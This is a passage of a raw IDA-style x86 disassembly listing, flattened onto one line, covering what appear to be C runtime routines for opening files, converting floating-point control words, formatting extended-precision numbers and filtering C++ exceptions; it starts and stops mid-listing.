CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_48A018, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_48A014, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_48A2E8, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_48A014, 16h mov dword_48A018, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_48A01C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_48A018, 0 mov dword_48A014, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 25E0821h test eax, eax jnz short loc_4200A4 push esi call near ptr 2621910h nop loc_420090: ; CODE XREF: sub_41FEC6+1B6j call near ptr 26402CBh nop push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_48A018, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF40 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF58 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_48A1E8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_48A210, eax add esp, 18h movsx eax, byte_48A1EA mov dword_48A208, eax pop edi movsx eax, word_48A1E8 mov dword_48A20C, eax mov dword_48A214, offset dword_48A1EC mov eax, offset dword_48A208 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:0043B918o ; ___:0043C3E0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_48A218 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_48A218 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; 